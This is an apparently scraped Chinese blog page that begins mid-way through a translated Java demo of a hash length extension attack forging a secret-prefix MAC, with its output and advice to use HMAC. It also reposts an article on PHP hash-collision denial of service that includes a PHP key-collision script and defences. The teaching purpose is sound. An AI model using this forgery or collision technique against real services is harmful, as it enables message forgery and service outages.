            HASH_ALGO.engineReset();
            // set internal state to the one of the original MAC
            HASH_ALGO.state[0] = bytesToInt(originalMAC[0], originalMAC[1],
                    originalMAC[2], originalMAC[3]);
            HASH_ALGO.state[1] = bytesToInt(originalMAC[4], originalMAC[5],
                    originalMAC[6], originalMAC[7]);
            HASH_ALGO.state[2] = bytesToInt(originalMAC[8], originalMAC[9],
                    originalMAC[10], originalMAC[11]);
            HASH_ALGO.state[3] = bytesToInt(originalMAC[12], originalMAC[13],
                    originalMAC[14], originalMAC[15]);
            HASH_ALGO.state[4] = bytesToInt(originalMAC[16], originalMAC[17],
                    originalMAC[18], originalMAC[19]);
            HASH_ALGO.bytesProcessed = BLOCKSIZE;
    
            System.out.println("Compute extension MAC...");
            HASH_ALGO.engineUpdate(extensionBytes, 0, extensionBytes.length);
            // compute the extended hash
            macCandidate = HASH_ALGO.engineDigest();
            System.out.println("Extended MAC  : "
                    + buildHexString(macCandidate));
    
            System.out.println("Trying to find suitable input....");
            // determine the necessary input....
            int j = 0;
            for (int i = 1; i <= PADDING.length; i++) {
                hashInput = new byte[toMACBytes.length + i
                        + 8 + extensionBytes.length];
                pointer = 0;
    
                /**
                 * Compute new input
                 */
                // # add original message
                System.arraycopy(toMACBytes, 0, hashInput, pointer,
                        toMACBytes.length);
                pointer += toMACBytes.length;
                // # add padding
                System.arraycopy(PADDING, 0, hashInput, pointer, i);
                pointer += i;
                // # add length of user data (8 bytes)
                // j is the computed length of the original message in bits
                // (blockSize - padding length - 8 length bytes)
                j = (BLOCKSIZE - i - 8) << 3;
                // the first word is 0 in our case, due to only 32 bit int
                hashInput[pointer] = 0;
                hashInput[pointer + 1] = 0;
                hashInput[pointer + 2] = 0;
                hashInput[pointer + 3] = 0;
                hashInput[pointer + 4] = (byte) ((j >>> 24));
                hashInput[pointer + 5] = (byte) ((j >>> 16));
                hashInput[pointer + 6] = (byte) ((j >>> 8));
                hashInput[pointer + 7] = (byte) (j);
                pointer += 8;
                // # add extension
                System.arraycopy(extensionBytes, 0, hashInput, pointer,
                        extensionBytes.length);
                pointer += extensionBytes.length;
    
                // # check guess
                if (isMACCorrect(macCandidate, hashInput)) {
                    System.out.println("==> Hash input    : "
                            + buildHexString(hashInput));
                    System.out.println("==> Padding Length: "
                            + i);
                    System.out.println("==> Secret Length : "
                            + (BLOCKSIZE - toMACBytes.length - i - 8));
                    break;
                }
            }
        }
    
        /**
         * Convert a byte[] to int.
         *
         * @param bytes 4 bytes array to be converted
         * @return Integer representation of the byte[]
         */
        private static int bytesToInt(byte... bytes) {
            return (int) ((0xFF & bytes[0]) << 24
                    | (0xFF & bytes[1]) << 16
                    | (0xFF & bytes[2]) << 8
                    | (0xFF & bytes[3]));
        }
    
        /**
         * Checks if the input results creates the expected MAC.
         *
         * @param macToCheck Expected MAC
         * @param msg Modified input for MAC function (secret key remains unknown)
         * @return True if the modified input creates the expected MAC
         * @throws DigestException
         */
        private static final boolean isMACCorrect(final byte[] macToCheck,
                final byte[] msg) throws DigestException {
            boolean result = true;
            byte[] referenceHash = createMAC(msg);
            System.out.println("Reference hash: "
                    + buildHexString(referenceHash));
    
            if (referenceHash.length != macToCheck.length) {
                result = false;
            } else {
                for (int i = 0; i < referenceHash.length; i++) {
                    if (referenceHash[i] != macToCheck[i]) {
                        result = false;
                        break;
                    }
                }
            }
    
            return result;
        }
    
        /**
         * Converts a byte[] to its Hex representation
         * @param bytes Bytes to be converted
         * @return Hex String of the passed byte[].
         */
        private static String buildHexString(byte[] bytes) {
            StringBuilder sb = new StringBuilder(bytes.length);
            Formatter formatter = new Formatter(sb);
    
            for (Byte tmpByte : bytes) {
                formatter.format("%02x ", tmpByte);
            }
    
            return sb.toString();
        }
    
        /**
         * Creates a weak MAC of the form h(secret + msg).
         *
         * @param msg Message to get MACed
         * @return Weak MAC
         * @throws DigestException
         */
        private static final byte[] createMAC(final byte[] msg) throws
                DigestException {
            byte[] utf8KeyBytes = KEY.getBytes(Charset.forName("UTF8"));
    
            HASH_ALGO.engineReset();
            HASH_ALGO.engineUpdate(utf8KeyBytes, 0, utf8KeyBytes.length);
            HASH_ALGO.engineUpdate(msg, 0, msg.length);
            return HASH_ALGO.engineDigest();
        }
    }

    运行上面的示例将创建以下输出:

    跑:

    Original MAC  : a9 fb f9 84 91 f3 8b 56 ee f7 34 73 ba fc 4b bf d5 0b 03 b8 
    Recover digest state...
    Compute extension MAC...
    Extended MAC  : ba 92 0b 97 e9 27 c6 a8 91 84 6a 58 ed e3 e1 62 13 45 27 65 
    Trying to find suitable input....
    Reference hash: 91 6c 2c d4 0b 7e a0 ec d4 57 ad f3 e6 b6 db 2e 57 e6 0e 9d 
    Reference hash: 46 98 09 77 59 ff 57 f7 b1 28 26 80 f0 9d 5e 96 14 5a 9d 77 
    Reference hash: 43 75 ea fc 1c 1d e6 51 a1 c0 9d 38 9f 31 c7 52 17 e6 9f a9 
    Reference hash: 6d 5c f9 9b af 26 6f ca dd 61 1c 16 71 a3 ac fb 60 82 57 76 
    Reference hash: 78 95 9a e5 81 30 00 5d 61 0b 5c 81 5e 9a 2d 3d 71 da e3 5a 
    Reference hash: 2d cf 0b 01 09 be 59 5d 76 e0 64 ee 44 27 44 12 48 96 cb 73 
    Reference hash: 11 e3 08 1b f4 0f 8f ad a8 9e 66 4b 2f 97 ec 14 f5 59 4c 68 
    Reference hash: 59 96 fc e8 dd d3 db ae 43 9c 34 a4 1e cc 15 cf af 49 49 3f 
    Reference hash: e8 cb 3b cf b1 72 9b d1 21 33 75 39 7e 6d 23 b8 e1 a3 fc c7 
    Reference hash: f0 f4 55 e9 12 65 7d 90 65 4b 50 34 af 38 93 a1 dd 73 74 6d 
    Reference hash: 5a c9 7a d6 f0 6d d7 a8 17 c6 d8 fd ba 59 17 ae 6b ee e8 2b 
    Reference hash: 50 6c b9 07 d9 cd c9 bb 0a 6b 9b 89 ce 9f 07 7f d1 b8 48 10 
    Reference hash: c0 81 31 4c 65 f5 11 d0 13 56 7e 73 d6 04 f0 ff 6c 76 7a ac 
    Reference hash: 0e f1 eb 4f 8f 6f 7f 6f 5e b5 1d 3f 9c 15 ab 44 63 97 35 c3 
    Reference hash: f1 4e f2 81 e0 6c 0a f3 ae ef b4 db c7 09 1e 1d 34 7c 79 7d 
    Reference hash: 30 b5 54 5e 79 a6 d9 26 b6 9f 12 9a cc a6 44 ef 85 d7 17 b6 
    Reference hash: 09 19 1e 6a 92 79 a5 34 d5 6c a2 84 c7 0d c2 49 15 dc 6d d2 
    Reference hash: 56 4b 7f b7 f0 af 6f 2d 1d cd 0e d4 10 e6 d2 d3 db b0 f9 c0 
    Reference hash: c1 51 a7 47 2d de b3 43 a0 77 28 9a 6c 55 49 f2 61 5c 69 1a 
    Reference hash: 37 f2 7f 80 b2 50 3a 22 60 ae 10 67 74 1d e6 19 b1 32 de 48 
    Reference hash: a3 91 d6 20 ff 4b da 92 19 a0 fb bf 58 46 0a 5a fe 7c eb e1 
    Reference hash: 10 d9 aa 0a ff db 8f 0d 4c 3c f6 90 3a e9 40 bc 1a 12 d7 65 
    Reference hash: ba 92 0b 97 e9 27 c6 a8 91 84 6a 58 ed e3 e1 62 13 45 27 65 
    ==> Hash input    : 53 65 63 75 72 65 64 52 65 73 6f 75 72 63 65 80 00 00 00 00 
    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 08 
    54 68 65 52 65 73 6f 75 72 63 65 52 65 6d 61 69 6e 73 55 6e 73 65 63 75 72 65
    64 
    ==> Padding Length: 23
    ==> Secret Length : 18

    使用URL编码从hashInput生成的字符串为SecuredResource%80%01%08TheResourceRemainsUnsecured,原始资源,23个填充字节(包括%80),8个长度字节和新资源。 这样我们得到(64字节块大小– 23填充字节– 8个长度字节)* 8位= 264位原始数据(秘密+资源)== 01 08(十六进制表示)。

    得到教训

    不要通过创建自己的安全结构来滥用加密技术。 使用经过认可的功能和构造。 在这种情况下,使用HMAC功能将是更好的方法,而不是引入自己的MAC。

    WhiteHat Security Blog上可以找到关于此主题的非常好的博客条目。

    参考: Java安全和相关主题博客上的JCG合作伙伴 Christopher Meyer提出的哈希长度扩展攻击


    翻译自: https://www.javacodegeeks.com/2012/07/hash-length-extension-attacks.html

    哈希扩展长度攻击

    展开全文
  • 哈希碰撞攻击

    千次阅读 2013-12-18 00:00:58
    哈希表碰撞攻击的基本原理 哈希表是一种查找效率极高的数据结构,很多语言都在内部实现了哈希表。PHP中的哈希表是一种极为重要的数据结构,不但用于表示Array数据类型,还在Zend虚拟机内部用于存储上下文环境信息...
    
    

    哈希表碰撞攻击的基本原理

    哈希表是一种查找效率极高的数据结构,很多语言都在内部实现了哈希表。PHP中的哈希表是一种极为重要的数据结构,不但用于表示Array数据类型,还在Zend虚拟机内部用于存储上下文环境信息(执行上下文的变量及函数均使用哈希表结构存储)。

    理想情况下哈希表插入和查找操作的时间复杂度均为O(1),任何一个数据项可以在一个与哈希表长度无关的时间内计算出一个哈希值(key),然后在常量时间内定位到一个桶(术语bucket,表示哈希表中的一个位置)。当然这是理想情况下,因为任何哈希表的长度都是有限的,所以一定存在不同的数据项具有相同哈希值的情况,此时不同数据项被定为到同一个桶,称为碰撞(collision)。哈希表的实现需要解决碰撞问题,碰撞解决大体有两种思路,第一种是根据某种原则将被碰撞数据定为到其它桶,例如线性探测——如果数据在插入时发生了碰撞,则顺序查找这个桶后面的桶,将其放入第一个没有被使用的桶;第二种策略是每个桶不是一个只能容纳单个数据项的位置,而是一个可容纳多个数据的数据结构(例如链表或红黑树),所有碰撞的数据以某种数据结构的形式组织起来。

    不论使用了哪种碰撞解决策略,都导致插入和查找操作的时间复杂度不再是O(1)。以查找为例,不能通过key定位到桶就结束,必须还要比较原始key(即未做哈希之前的key)是否相等,如果不相等,则要使用与插入相同的算法继续查找,直到找到匹配的值或确认数据不在哈希表中。

    PHP是使用单链表存储碰撞的数据,因此实际上PHP哈希表的平均查找复杂度为O(L),其中L为桶链表的平均长度;而最坏复杂度为O(N),此时所有数据全部碰撞,哈希表退化成单链表。下图PHP中正常哈希表和退化哈希表的示意图。

    哈希表碰撞攻击就是通过精心构造数据,使得所有数据全部碰撞,人为将哈希表变成一个退化的单链表,此时哈希表各种操作的时间均提升了一个数量级,因此会消耗大量CPU资源,导致系统无法快速响应请求,从而达到拒绝服务攻击(DoS)的目的。

    可以看到,进行哈希碰撞攻击的前提是哈希算法特别容易找出碰撞,如果是MD5或者SHA1那基本就没戏了,幸运的是(也可以说不幸的是)大多数编程语言使用的哈希算法都十分简单(这是为了效率考虑),因此可以不费吹灰之力之力构造出攻击数据。下一节将通过分析Zend相关内核代码,找出攻击哈希表碰撞攻击PHP的方法。

    Zend哈希表的内部实现

    PHP中使用一个叫Backet的结构体表示桶,同一哈希值的所有桶被组织为一个单链表。哈希表使用HashTable结构体表示。相关源码在zend/Zend_hash.h下:

    typedef struct bucket {
        ulong h;                        /* Used for numeric indexing */
        uint nKeyLength;
        void *pData;
        void *pDataPtr;
        struct bucket *pListNext;
        struct bucket *pListLast;
        struct bucket *pNext;
        struct bucket *pLast;
        char arKey[1]; /* Must be last element */
    } Bucket;
     
    typedef struct _hashtable {
        uint nTableSize;
        uint nTableMask;
        uint nNumOfElements;
        ulong nNextFreeElement;
        Bucket *pInternalPointer;   /* Used for element traversal */
        Bucket *pListHead;
        Bucket *pListTail;
        Bucket **arBuckets;
        dtor_func_t pDestructor;
        zend_bool persistent;
        unsigned char nApplyCount;
        zend_bool bApplyProtection;
    #if ZEND_DEBUG
        int inconsistent;
    #endif
    } HashTable;

    字段名很清楚的表明其用途,因此不做过多解释。重点明确下面几个字段:Bucket中的“h”用于存储原始key;HashTable中的nTableMask是一个掩码,一般被设为nTableSize – 1,与哈希算法有密切关系,后面讨论哈希算法时会详述;arBuckets指向一个指针数组,其中每个元素是一个指向Bucket链表的头指针。

    哈希算法:PHP哈希表最小容量是8(2^3),最大容量是0×80000000(2^31),并向2的整数次幂圆整(即长度会自动扩展为2的整数次幂,如13个元素的哈希表长度为16;100个元素的哈希表长度为128)。nTableMask被初始化为哈希表长度(圆整后)减1。具体代码在zend/Zend_hash.c的_zend_hash_init函数中,这里截取与本文相关的部分并加上少量注释。

    ZEND_API int _zend_hash_init(HashTable *ht, uint nSize, hash_func_t pHashFunction, dtor_func_t pDestructor, zend_bool persistent ZEND_FILE_LINE_DC)
    {
        uint i = 3;
        Bucket **tmp;
     
        SET_INCONSISTENT(HT_OK);
     
        //长度向2的整数次幂圆整
        if (nSize >= 0x80000000) {
            /* prevent overflow */
            ht->nTableSize = 0x80000000;
        } else {
            while ((1U << i) < nSize) { //1u = unsigned
                i++;
            }
            ht->nTableSize = 1 << i;
        }
     
        ht->nTableMask = ht->nTableSize - 1;
     
        /*此处省略若干代码…*/
     
        return SUCCESS;
    }

    值得一提的是PHP向2的整数次幂取圆整方法非常巧妙,可以背下来在需要的时候使用。

    Zend HashTable的哈希算法很简单:hash(key)=key&nTableMask

    即简单将数据的原始key与HashTable的nTableMask进行按位与即可。如果原始key为字符串,则首先使用Times33算法将字符串转为整形再与nTableMask按位与:hash(strkey)=time33(strkey)&nTableMask

    下面是Zend源码中查找哈希表的代码:

    ZEND_API int zend_hash_index_find(const HashTable *ht, ulong h, void **pData)
    {
        uint nIndex;
        Bucket *p;
     
        IS_CONSISTENT(ht);
     
        nIndex = h & ht->nTableMask;
     
        p = ht->arBuckets[nIndex];
        while (p != NULL) {
            if ((p->h == h) && (p->nKeyLength == 0)) {
                *pData = p->pData;
                return SUCCESS;
            }
            p = p->pNext;
        }
        return FAILURE;
    }
     
    ZEND_API int zend_hash_find(const HashTable *ht, const char *arKey, uint nKeyLength, void **pData)
    {
        ulong h;
        uint nIndex;
        Bucket *p;
     
        IS_CONSISTENT(ht);
     
        h = zend_inline_hash_func(arKey, nKeyLength);
        nIndex = h & ht->nTableMask;
     
        p = ht->arBuckets[nIndex];
        while (p != NULL) {
            if ((p->h == h) && (p->nKeyLength == nKeyLength)) {
                if (!memcmp(p->arKey, arKey, nKeyLength)) { //比较字符key是否相等(nKeyLength长度))
                    *pData = p->pData;
                    return SUCCESS;
                }
            }
            p = p->pNext;
        }
        return FAILURE;
    }

    其中zend_hash_index_find用于查找整数key的情况,zend_hash_find用于查找字符串key。逻辑基本一致,只是字符串key会通过zend_inline_hash_func转为整数key,zend_inline_hash_func封装了times33算法,具体代码就不贴出了。

    攻击

    知道了PHP内部哈希表的算法,就可以利用其原理构造用于攻击的数据。一种最简单的方法是利用掩码规律制造碰撞。上文提到Zend HashTable的长度nTableSize会被圆整为2的整数次幂,假设我们构造一个2^16的哈希表,则nTableSize的二进制表示为:1 0000 0000 0000 0000,而nTableMask = nTableSize – 1为:0 1111 1111 1111 1111。接下来,可以以0为初始值,以2^16为步长,制造足够多的数据,可以得到如下推测:

    0000 0000 0000 0000 0000 & 0 1111 1111 1111 1111 = 0


    0001 0000 0000 0000 0000 & 0 1111 1111 1111 1111 = 0


    0010 0000 0000 0000 0000 & 0 1111 1111 1111 1111 = 0


    0011 0000 0000 0000 0000 & 0 1111 1111 1111 1111 = 0


    0100 0000 0000 0000 0000 & 0 1111 1111 1111 1111 = 0

    概况来说只要保证后16位均为0,则与掩码位于后得到的哈希值全部碰撞在位置0。下面是利用这个原理写的一段攻击代码:

    <?php
    $size = pow(2, 16);
    $startTime = microtime(true);
     
    $array = array();
    for ($key = 0, $maxKey = ($size - 1) * $size; $key <= $maxKey; $key += $size) {
        $array[$key] = 0;
    }
     //$key += $size 大于2的16次方
    $endTime = microtime(true);
    echo $endTime - $startTime, ' seconds', "\n";
    ?>

    当然,一般情况下很难遇到攻击者可以直接修改PHP代码的情况,但是攻击者仍可以通过一些方法间接构造哈希表来进行攻击。例如PHP会将接收到的HTTP POST请求中的数据构造为$_POST,而这是一个Array,内部就是通过Zend HashTable表示,因此攻击者只要构造一个含有大量碰撞key的post请求,就可以达到攻击的目的。具体做法不再演示。

    防御

    POST攻击的防护:针对POST方式的哈希碰撞攻击,目前PHP的防护措施是控制POST数据的数量。在>=PHP5.3.9的版本中增加了一个配置项max_input_vars,用于标识一次http请求最大接收的参数个数,默认为1000。因此PHP5.3.x的用户可以通过升级至5.3.9来避免哈希碰撞攻击。5.2.x的用户可以使用这个patch:http://www.laruence.com/2011/12/30/2440.html。

    另外的防护方法是在Web服务器层面进行处理,例如限制http请求body的大小和参数的数量等,这个是现在用的最多的临时处理方案。具体做法与不同Web服务器相关,不再详述。

    上面的防护方法只是限制POST数据的数量,而不能彻底解决这个问题。例如,如果某个POST字段是一个json数据类型,会被PHP json_decode,那么只要构造一个超大的json攻击数据照样可以达到攻击目的。理论上,只要PHP代码中某处构造Array的数据依赖于外部输入,则都可能造成这个问题,因此彻底的解决方案要从Zend底层HashTable的实现动手。一般来说有两种方式,一是限制每个桶链表的最长长度;二是使用其它数据结构如红黑树取代链表组织碰撞哈希(并不解决哈希碰撞,只是减轻攻击影响,将N个数据的操作时间从O(N^2)降至O(NlogN),代价是普通情况下接近O(1)的操作均变为O(logN))。

    目前使用最多的仍然是POST数据攻击,因此建议生产环境的PHP均进行升级或打补丁。至于从数据结构层面修复这个问题,目前还没有任何方面的消息。


    展开全文
  • 哈希长度拓展攻击

    2020-06-09 16:44:36
    哈希长度拓展攻击 哈希长度拓展攻击(Hash Length Extension Attacks)的实现就是基于初始链变量的值被新的覆盖。 易受长度扩展攻击: 准备了一个密文和一些数据构造成一个字符串里,并且使用了MD5之类的哈希函数生成...
  • 哈希长度扩展攻击

    2020-05-07 02:05:39
    在这篇文章中,我将尽力避免夏季的低迷,而将重点放在比抱怨天气更有趣的事情上-哈希长度扩展攻击。 散列长度扩展攻击没什么复杂或复杂的,说实话,这只是关于如何使用散列函数。 正如我以前的一篇文章中所讨论的...
  • 从实践出发,继弱类型变量原理探究后,王帅将继续带大家弄清PHP内核中的一些常用部分,本期则是内核利器哈希表与哈希碰撞攻击。在PHP的Zend Engine(下面简称ZE)中,有一个非常重要的数据结构——哈希表...
  • 1.引子 哈希表的原理是用数组来保存键值对,键值对存放的位置(下标)由键的哈希值决定,键的哈希值可以在参数时间内计算出来,这样哈希表插入、查找和删除的时间复杂度为O(1),但是这是...所谓的哈希碰撞攻击就是,针
  • 条件:获取到了某台主机的Administrator用户的LM-Hash和 NTLM-Hash ,并且该主机的445端口打开着,可利用 exploit/windows/smb/psexec 漏洞用MSF进行远程登录(哈希传递攻击)。(只能是administrator用户的LM-hash和...
  • 哈希传递攻击(Pass-the-Hash,PtH)

    千次阅读 2020-01-11 22:52:11
    哈希传递攻击 MSF进行哈希传递攻击PtH(工作组) MSF进行哈希传递攻击PtH(域) mimikatz进行哈希传递攻击PtH(工作组) mimikatz进行哈希传递攻击PtH(域) 使用AES进行哈希传递攻击(PTK,Pass The Key) 更新KB2871997...
  • kali密码攻击之——哈希传递攻击

    千次阅读 2017-04-22 20:10:51
    passing the hash,中文一般翻译为hash传递攻击,在windows系统中,系统通常不会存储用户登录密码,而是存储密码的哈希值,在我们远程登录系统的时候,实际上向远程传递的就是密码的hash值。当攻击者获取了存储在...
  • 在PHP的Zend Engine(下面简称ZE)中,有一个非常重要的数据结构——...1. 哈希表的基本概念什么是哈希表呢?哈希表在数据结构中也叫散列表。是根据键名经过hash函数计算后,映射到表中的一个位置,来直接访问记录...
  • 哈希传递攻击(Pass-the-Hash)

    千次阅读 2019-12-25 22:42:26
    目录使用msf进行哈希传递攻击使用mimikatz进行哈希传递攻击PTH(工作组) 使用msf进行哈希传递攻击 有些时候,当我们获取到了某台主机的Administrator用户的LM-Hash和 NTLM-Hash ,并且该主机的445端口(文件共享...
  • 24-哈希碰撞攻击是什么?

    万次阅读 2016-04-25 12:21:32
    24-哈希碰撞攻击是什么?最近哈希表碰撞攻击(Hashtable collisions as DOS attack)的话题不断被提起,各种语言纷纷中招。本文结合PHP内核源码,聊一聊这种攻击的原理及实现。哈希表碰撞攻击的基本原理哈希表是一种...
  • 深入PHP内核(三)——内核利器哈希表与哈希碰撞攻击 在PHP的Zend Engine(下面简称ZE)中,有一个非常重要的数据结构——哈希表(HashTable)。哈希表在ZE中有非常广泛的应用,PHP的复杂数据结构中数组和类的存储...
  • 最近哈希表碰撞攻击(Hashtable collisions as DOS attack)的话题不断被提起,各种语言纷纷中招。本文结合PHP内核源码,聊一聊这种攻击的原理及实现。  哈希表碰撞攻击的基本原理 哈希表是一种查找效率极高的数据...
  • PHP哈希表碰撞攻击原理

    千次阅读 2012-03-23 14:02:14
    哈希表碰撞攻击(Hashtable collisions as DOS attack)的话题不断被提起,各种语言纷纷中招。本文结合PHP内核源码,聊一聊这种攻击的原理及实现。哈希表碰撞攻击的基本原理哈希表是一种查找效率极高的数据结构,很...
  • 哈希长度扩展攻击(hash length extension attacks)是指针对某些允许包含额外信息的加密散列函数的攻击手段。该攻击适用于在消息与密钥的长度已知的情形下,所有采取了基于Merkle–Damgård构造的算法(MD5和SHA-1等)...
  • PHP哈希表碰撞攻击

    2019-09-28 16:27:00
    哈希表是一种查找效率极高的数据结构,PHP中的哈希表是一种极为重要的数据结构,不但用于表示数组,关联数组,对象属性,函数表,符号表,还在Zend虚拟机内部用于存储上下文环境信息(执行上下文的变量及函数均使用哈希...
  • 告诉你,你的这种映射策略相当于我平时学的哈希算法,不管你如何改变你的算法策略,只要被别人知道了你的哈希算法,那么,都会容易遭受到别人的攻击,像你的邻居的那种攻击方式,就叫做哈希洪荒攻击。 我们都知道...
  • 哈希表碰撞攻击的基本原理

    万次阅读 2013-05-31 23:08:54
    最近哈希表碰撞攻击(Hashtable collisions as DOS attack)的话题不断被提起,各种语言纷纷中招。本文结合PHP内核源码,聊一聊这种攻击的原理及实现。 哈希表碰撞攻击的基本原理 哈希表是一种查找效率极高的数据...
  • 哈希碰撞与生日攻击

    2020-04-20 17:41:49
    一、哈希碰撞是什么? 所谓哈希(hash),就是将不同的输入映射成独一无二的、固定长度的值(又称"哈希值")。它是最常见的软件运算之一。 如果不同的输入得到了同一个哈希值,就发生了"哈希碰撞"(collision)。 ...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 740
精华内容 296
关键字:

哈希攻击